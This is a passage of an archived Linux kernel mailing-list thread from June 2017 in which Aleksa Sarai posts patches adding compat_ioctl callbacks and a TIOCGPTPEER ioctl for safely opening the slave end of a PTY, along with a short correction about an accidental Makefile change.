 		   -fno-strict-aliasing -fno-common \
 		   -Werror-implicit-function-declaration \
 		   -Wno-format-security \
+		   -Wno-error=int-in-bool-context \
 		   -std=gnu89 $(call cc-option,-fno-PIE)
 
 
diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
index 65799575c666..2a6bd9ae3f8b 100644
--- a/drivers/tty/pty.c
+++ b/drivers/tty/pty.c
@@ -481,6 +481,16 @@ static int pty_bsd_ioctl(struct tty_struct *tty,
 	return -ENOIOCTLCMD;
 }
 
+static long pty_bsd_compat_ioctl(struct tty_struct *tty,
+				 unsigned int cmd, unsigned long arg)
+{
+	/*
+	 * PTY ioctls don't require any special translation between 32-bit and
+	 * 64-bit userspace, they are already compatible.
+	 */
+	return pty_bsd_ioctl(tty, cmd, arg);
+}
+
 static int legacy_count = CONFIG_LEGACY_PTY_COUNT;
 /*
  * not really modular, but the easiest way to keep compat with existing
@@ -502,6 +512,7 @@ static const struct tty_operations master_pty_ops_bsd = {
 	.chars_in_buffer = pty_chars_in_buffer,
 	.unthrottle = pty_unthrottle,
 	.ioctl = pty_bsd_ioctl,
+	.compat_ioctl = pty_bsd_compat_ioctl,
 	.cleanup = pty_cleanup,
 	.resize = pty_resize,
 	.remove = pty_remove
@@ -609,6 +620,16 @@ static int pty_unix98_ioctl(struct tty_struct *tty,
 	return -ENOIOCTLCMD;
 }
 
+static long pty_unix98_compat_ioctl(struct tty_struct *tty,
+				 unsigned int cmd, unsigned long arg)
+{
+	/*
+	 * PTY ioctls don't require any special translation between 32-bit and
+	 * 64-bit userspace, they are already compatible.
+	 */
+	return pty_unix98_ioctl(tty, cmd, arg);
+}
+
 /**
  *	ptm_unix98_lookup	-	find a pty master
  *	@driver: ptm driver
@@ -681,6 +702,7 @@ static const struct tty_operations ptm_unix98_ops = {
 	.chars_in_buffer = pty_chars_in_buffer,
 	.unthrottle = pty_unthrottle,
 	.ioctl = pty_unix98_ioctl,
+	.compat_ioctl = pty_unix98_compat_ioctl,
 	.resize = pty_resize,
 	.cleanup = pty_cleanup
 };
diff --git a/fs/compat_ioctl.c b/fs/compat_ioctl.c
index 6116d5275a3e..112b3e1e20e3 100644
--- a/fs/compat_ioctl.c
+++ b/fs/compat_ioctl.c
@@ -866,8 +866,6 @@ COMPATIBLE_IOCTL(TIOCGDEV)
 COMPATIBLE_IOCTL(TIOCCBRK)
 COMPATIBLE_IOCTL(TIOCGSID)
 COMPATIBLE_IOCTL(TIOCGICOUNT)
-COMPATIBLE_IOCTL(TIOCGPKT)
-COMPATIBLE_IOCTL(TIOCGPTLCK)
 COMPATIBLE_IOCTL(TIOCGEXCL)
 /* Little t */
 COMPATIBLE_IOCTL(TIOCGETD)
@@ -883,16 +881,12 @@ COMPATIBLE_IOCTL(TIOCMGET)
 COMPATIBLE_IOCTL(TIOCMBIC)
 COMPATIBLE_IOCTL(TIOCMBIS)
 COMPATIBLE_IOCTL(TIOCMSET)
-COMPATIBLE_IOCTL(TIOCPKT)
 COMPATIBLE_IOCTL(TIOCNOTTY)
 COMPATIBLE_IOCTL(TIOCSTI)
 COMPATIBLE_IOCTL(TIOCOUTQ)
 COMPATIBLE_IOCTL(TIOCSPGRP)
 COMPATIBLE_IOCTL(TIOCGPGRP)
-COMPATIBLE_IOCTL(TIOCGPTN)
-COMPATIBLE_IOCTL(TIOCSPTLCK)
 COMPATIBLE_IOCTL(TIOCSERGETLSR)
-COMPATIBLE_IOCTL(TIOCSIG)
 #ifdef TIOCSRS485
 COMPATIBLE_IOCTL(TIOCSRS485)
 #endif
-- 
2.13.0



From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH v3 2/2] tty: add TIOCGPTPEER ioctl
Date: Sat,  3 Jun 2017 23:51:11 +1000
Lines: 264
Approved: news@gmane.org
Message-ID: <20170603135111.5444-3-asarai@suse.de>
References: <20170603135111.5444-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496497919 2282 195.159.176.226 (3 Jun 2017 13:51:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 13:51:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arch-owner@vger.kernel.org Sat Jun 03 15:51:54 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1dH9T7-0000A9-Tb
	for glka-linux-arch@m.gmane.org; Sat, 03 Jun 2017 15:51:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751167AbdFCNvx (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Sat, 3 Jun 2017 09:51:53 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:54012 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750775AbdFCNvv (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Sat, 3 Jun 2017 09:51:51 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 45280AB9D;
        Sat,  3 Jun 2017 13:51:39 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
In-Reply-To: <20170603135111.5444-1-asarai@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:36962 gmane.linux.kernel:2491001 gmane.linux.ports.alpha:4223 gmane.linux.ports.mips.general:59366 gmane.linux.ports.parisc:27447 gmane.linux.ports.ppc64.devel:142818 gmane.linux.ports.sh.devel:55371 gmane.linux.ports.sparc:25293
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/36962>

When opening the slave end of a PTY, it is not possible for userspace to
safely ensure that /dev/pts/$num is actually a slave (in cases where the
mount namespace in which devpts was mounted is controlled by an
untrusted process). In addition, there are several unresolvable
race conditions if userspace were to attempt to detect attacks through
stat(2) and other similar methods [in addition it is not clear how
userspace could detect attacks involving FUSE].

Resolve this by providing an interface for userpace to safely open the
"peer" end of a PTY file descriptor by using the dentry cached by
devpts. Since it is not possible to have an open master PTY without
having its slave exposed in /dev/pts this interface is safe. This
interface currently does not provide a way to get the master pty (since
it is not clear whether such an interface is safe or even useful).

Cc: Christian Brauner <christian.brauner@ubuntu.com>
Cc: Valentin Rothberg <vrothberg@suse.com>
Signed-off-by: Aleksa Sarai <asarai@suse.de>
---
 arch/alpha/include/uapi/asm/ioctls.h   |  1 +
 arch/mips/include/uapi/asm/ioctls.h    |  1 +
 arch/parisc/include/uapi/asm/ioctls.h  |  1 +
 arch/powerpc/include/uapi/asm/ioctls.h |  1 +
 arch/sh/include/uapi/asm/ioctls.h      |  1 +
 arch/sparc/include/uapi/asm/ioctls.h   |  3 +-
 arch/xtensa/include/uapi/asm/ioctls.h  |  1 +
 drivers/tty/pty.c                      | 71 ++++++++++++++++++++++++++++++++--
 include/uapi/asm-generic/ioctls.h      |  1 +
 9 files changed, 76 insertions(+), 5 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/ioctls.h b/arch/alpha/include/uapi/asm/ioctls.h
index f30c94ae1bdb..ff67b8373bf7 100644
--- a/arch/alpha/include/uapi/asm/ioctls.h
+++ b/arch/alpha/include/uapi/asm/ioctls.h
@@ -100,6 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/mips/include/uapi/asm/ioctls.h b/arch/mips/include/uapi/asm/ioctls.h
index 740219c2c894..68e19b689a00 100644
--- a/arch/mips/include/uapi/asm/ioctls.h
+++ b/arch/mips/include/uapi/asm/ioctls.h
@@ -91,6 +91,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 /* I hope the range from 0x5480 on is free ... */
 #define TIOCSCTTY	0x5480		/* become controlling tty */
diff --git a/arch/parisc/include/uapi/asm/ioctls.h b/arch/parisc/include/uapi/asm/ioctls.h
index b6572f051b67..674c68a5bbd0 100644
--- a/arch/parisc/include/uapi/asm/ioctls.h
+++ b/arch/parisc/include/uapi/asm/ioctls.h
@@ -60,6 +60,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define FIONCLEX	0x5450  /* these numbers need to be adjusted. */
 #define FIOCLEX		0x5451
diff --git a/arch/powerpc/include/uapi/asm/ioctls.h b/arch/powerpc/include/uapi/asm/ioctls.h
index 49a25796a61a..bfd609a3e928 100644
--- a/arch/powerpc/include/uapi/asm/ioctls.h
+++ b/arch/powerpc/include/uapi/asm/ioctls.h
@@ -100,6 +100,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	0x5453
 #define TIOCSERGWILD	0x5454
diff --git a/arch/sh/include/uapi/asm/ioctls.h b/arch/sh/include/uapi/asm/ioctls.h
index c9903e56ccf4..eec7901e9e65 100644
--- a/arch/sh/include/uapi/asm/ioctls.h
+++ b/arch/sh/include/uapi/asm/ioctls.h
@@ -93,6 +93,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83) /* 0x5453 */
 #define TIOCSERGWILD	_IOR('T', 84,  int) /* 0x5454 */
diff --git a/arch/sparc/include/uapi/asm/ioctls.h b/arch/sparc/include/uapi/asm/ioctls.h
index 06b3f6c3bb9a..6d27398632ea 100644
--- a/arch/sparc/include/uapi/asm/ioctls.h
+++ b/arch/sparc/include/uapi/asm/ioctls.h
@@ -27,7 +27,7 @@
 #define TIOCGRS485	_IOR('T', 0x41, struct serial_rs485)
 #define TIOCSRS485	_IOWR('T', 0x42, struct serial_rs485)
 
-/* Note that all the ioctls that are not available in Linux have a 
+/* Note that all the ioctls that are not available in Linux have a
  * double underscore on the front to: a) avoid some programs to
  * think we support some ioctls under Linux (autoconfiguration stuff)
  */
@@ -88,6 +88,7 @@
 #define TIOCGPTN	_IOR('t', 134, unsigned int) /* Get Pty Number */
 #define TIOCSPTLCK	_IOW('t', 135, int) /* Lock/unlock PTY */
 #define TIOCSIG		_IOW('t', 136, int) /* Generate signal on Pty slave */
+#define TIOCGPTPEER	_IOR('t', 137, int) /* Safely open the slave */
 
 /* Little f */
 #define FIOCLEX		_IO('f', 1)
diff --git a/arch/xtensa/include/uapi/asm/ioctls.h b/arch/xtensa/include/uapi/asm/ioctls.h
index 518954e74e6d..98b004e24e85 100644
--- a/arch/xtensa/include/uapi/asm/ioctls.h
+++ b/arch/xtensa/include/uapi/asm/ioctls.h
@@ -105,6 +105,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define TIOCSERCONFIG	_IO('T', 83)
 #define TIOCSERGWILD	_IOR('T', 84,  int)
diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
index 2a6bd9ae3f8b..d1399aac05a1 100644
--- a/drivers/tty/pty.c
+++ b/drivers/tty/pty.c
@@ -24,6 +24,9 @@
 #include <linux/slab.h>
 #include <linux/mutex.h>
 #include <linux/poll.h>
+#include <linux/mount.h>
+#include <linux/file.h>
+#include <linux/ioctl.h>
 
 #undef TTY_DEBUG_HANGUP
 #ifdef TTY_DEBUG_HANGUP
@@ -66,8 +69,13 @@ static void pty_close(struct tty_struct *tty, struct file *filp)
 #ifdef CONFIG_UNIX98_PTYS
 		if (tty->driver == ptm_driver) {
 			mutex_lock(&devpts_mutex);
-			if (tty->link->driver_data)
-				devpts_pty_kill(tty->link->driver_data);
+			if (tty->link->driver_data) {
+				struct path *path = tty->link->driver_data;
+
+				devpts_pty_kill(path->dentry);
+				path_put(path);
+				kfree(path);
+			}
 			mutex_unlock(&devpts_mutex);
 		}
 #endif
@@ -440,6 +448,48 @@ static int pty_common_install(struct tty_driver *driver, struct tty_struct *tty,
 	return retval;
 }
 
+/**
+ *	pty_open_peer - open the peer of a pty
+ *	@tty: the peer of the pty being opened
+ *
+ *	Open the cached dentry in tty->link, providing a safe way for userspace
+ *	to get the slave end of a pty (where they have the master fd and cannot
+ *	access or trust the mount namespace /dev/pts was mounted inside).
+ */
+static struct file *pty_open_peer(struct tty_struct *tty, int flags)
+{
+	if (tty->driver->subtype != PTY_TYPE_MASTER)
+		return ERR_PTR(-EIO);
+	return dentry_open(tty->link->driver_data, flags, current_cred());
+}
+
+static int pty_get_peer(struct tty_struct *tty, int flags)
+{
+	int fd = -1;
+	struct file *filp = NULL;
+	int retval = -EINVAL;
+
+	fd = get_unused_fd_flags(0);
+	if (fd < 0) {
+		retval = fd;
+		goto err;
+	}
+
+	filp = pty_open_peer(tty, flags);
+	if (IS_ERR(filp)) {
+		retval = PTR_ERR(filp);
+		goto err_put;
+	}
+
+	fd_install(fd, filp);
+	return fd;
+
+err_put:
+	put_unused_fd(fd);
+err:
+	return retval;
+}
+
 static void pty_cleanup(struct tty_struct *tty)
 {
 	tty_port_put(tty->port);
@@ -613,6 +663,8 @@ static int pty_unix98_ioctl(struct tty_struct *tty,
 		return pty_get_pktmode(tty, (int __user *)arg);
 	case TIOCGPTN: /* Get PT Number */
 		return put_user(tty->index, (unsigned int __user *)arg);
+	case TIOCGPTPEER: /* Open the other end */
+		return pty_get_peer(tty, (int) arg);
 	case TIOCSIG:    /* Send signal to other side of pty */
 		return pty_signal(tty, (int) arg);
 	}
@@ -740,6 +792,7 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 {
 	struct pts_fs_info *fsi;
 	struct tty_struct *tty;
+	struct path *pts_path;
 	struct dentry *dentry;
 	int retval;
 	int index;
@@ -793,16 +846,26 @@ static int ptmx_open(struct inode *inode, struct file *filp)
 		retval = PTR_ERR(dentry);
 		goto err_release;
 	}
-	tty->link->driver_data = dentry;
+	/* We need to cache a fake path for TIOCGPTPEER. */
+	pts_path = kmalloc(sizeof(struct path), GFP_KERNEL);
+	if (!pts_path)
+		goto err_release;
+	pts_path->mnt = filp->f_path.mnt;
+	pts_path->dentry = dentry;
+	path_get(pts_path);
+	tty->link->driver_data = pts_path;
 
 	retval = ptm_driver->ops->open(tty, filp);
 	if (retval)
-		goto err_release;
+		goto err_path_put;
 
 	tty_debug_hangup(tty, "opening (count=%d)\n", tty->count);
 
 	tty_unlock(tty);
 	return 0;
+err_path_put:
+	path_put(pts_path);
+	kfree(pts_path);
 err_release:
 	tty_unlock(tty);
 	// This will also put-ref the fsi
diff --git a/include/uapi/asm-generic/ioctls.h b/include/uapi/asm-generic/ioctls.h
index 143dacbb7d9a..06d5f7ddf84e 100644
--- a/include/uapi/asm-generic/ioctls.h
+++ b/include/uapi/asm-generic/ioctls.h
@@ -77,6 +77,7 @@
 #define TIOCGPKT	_IOR('T', 0x38, int) /* Get packet mode state */
 #define TIOCGPTLCK	_IOR('T', 0x39, int) /* Get Pty lock state */
 #define TIOCGEXCL	_IOR('T', 0x40, int) /* Get exclusive mode state */
+#define TIOCGPTPEER	_IOR('T', 0x41, int) /* Safely open the slave */
 
 #define FIONCLEX	0x5450
 #define FIOCLEX		0x5451
-- 
2.13.0



From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 1/2] tty: add compat_ioctl callbacks
Date: Sun, 4 Jun 2017 00:13:27 +1000
Lines: 24
Approved: news@gmane.org
Message-ID: <7bd066af-bd37-5a66-74b7-1267b58a43f8@suse.de>
References: <20170603135111.5444-1-asarai@suse.de>
 <20170603135111.5444-2-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496499221 27462 195.159.176.226 (3 Jun 2017 14:13:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 14:13:41 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 03 16:13:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dH9o7-0006o8-3B
	for glpp-linux-parisc@m.gmane.org; Sat, 03 Jun 2017 16:13:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751200AbdFCONj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 3 Jun 2017 10:13:39 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:54800 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751163AbdFCONi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 3 Jun 2017 10:13:38 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id B98E9AB9D;
        Sat,  3 Jun 2017 14:13:36 +0000 (UTC)
In-Reply-To: <20170603135111.5444-2-asarai@suse.de>
Content-Language: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27448 gmane.linux.kernel:2491030 gmane.linux.ports.alpha:4224 gmane.linux.ports.mips.general:59367 gmane.linux.ports.ppc64.devel:142820 gmane.linux.ports.sh.devel:55372 gmane.linux.ports.sparc:25294 gmane.linux.kernel.cross-arch:36963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27448>

> diff --git a/Makefile b/Makefile
> index 470bd4d9513a..fb689286d83a 100644
> --- a/Makefile
> +++ b/Makefile
> @@ -401,6 +401,7 @@ KBUILD_CFLAGS   := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \
>   		   -fno-strict-aliasing -fno-common \
>   		   -Werror-implicit-function-declaration \
>   		   -Wno-format-security \
> +		   -Wno-error=int-in-bool-context \
>   		   -std=gnu89 $(call cc-option,-fno-PIE)


Ah sorry, I committed that by accident. I'll send a fixed version.

-- 
Aleksa Sarai
Software Engineer (Containers)
SUSE Linux GmbH
https://www.cyphar.com/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 0/2] tty: add TIOCGPTPEER ioctl
Date: Sun,  4 Jun 2017 00:15:13 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <20170603141515.9529-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496499330 16340 195.159.176.226 (3 Jun 2017 14:15:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 14:15:30 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-sh-owner@vger.kernel.org Sat Jun 03 16:15:22 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1dH9pp-0002W4-Sv
	for glps-linuxsh-dev@m.gmane.org; Sat, 03 Jun 2017 16:15:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751169AbdFCOP0 (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Sat, 3 Jun 2017 10:15:26 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:54844 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750997AbdFCOPZ (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Sat, 3 Jun 2017 10:15:25 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 6DFB7AB46;
        Sat,  3 Jun 2017 14:15:23 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55373 gmane.linux.kernel:2491031 gmane.linux.ports.alpha:4225 gmane.linux.ports.mips.general:59368 gmane.linux.ports.parisc:27449 gmane.linux.ports.ppc64.devel:142821 gmane.linux.ports.sparc:25295 gmane.linux.kernel.cross-arch:36964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55373>

Changes in v4:
  * Dropped an accidental change to Makefile.

Aleksa Sarai (2):
  tty: add compat_ioctl callbacks
  tty: add TIOCGPTPEER ioctl

 arch/alpha/include/uapi/asm/ioctls.h   |  1 +
 arch/mips/include/uapi/asm/ioctls.h    |  1 +
 arch/parisc/include/uapi/asm/ioctls.h  |  1 +
 arch/powerpc/include/uapi/asm/ioctls.h |  1 +
 arch/sh/include/uapi/asm/ioctls.h      |  1 +
 arch/sparc/include/uapi/asm/ioctls.h   |  3 +-
 arch/xtensa/include/uapi/asm/ioctls.h  |  1 +
 drivers/tty/pty.c                      | 93 ++++++++++++++++++++++++++++++++--
 fs/compat_ioctl.c                      |  6 ---
 include/uapi/asm-generic/ioctls.h      |  1 +
 10 files changed, 98 insertions(+), 11 deletions(-)

-- 
2.13.0

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 1/2] tty: add compat_ioctl callbacks
Date: Sun,  4 Jun 2017 00:15:14 +1000
Lines: 100
Approved: news@gmane.org
Message-ID: <20170603141515.9529-2-asarai@suse.de>
References: <20170603141515.9529-1-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496499343 18445 195.159.176.226 (3 Jun 2017 14:15:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 14:15:43 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jun 03 16:15:37 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dH9q3-0004Po-Mr
	for glk-linux-kernel-3@m.gmane.org; Sat, 03 Jun 2017 16:15:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751289AbdFCOPd (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 3 Jun 2017 10:15:33 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:54859 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1750997AbdFCOPb (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 3 Jun 2017 10:15:31 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 2F6D4AB9D;
        Sat,  3 Jun 2017 14:15:29 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
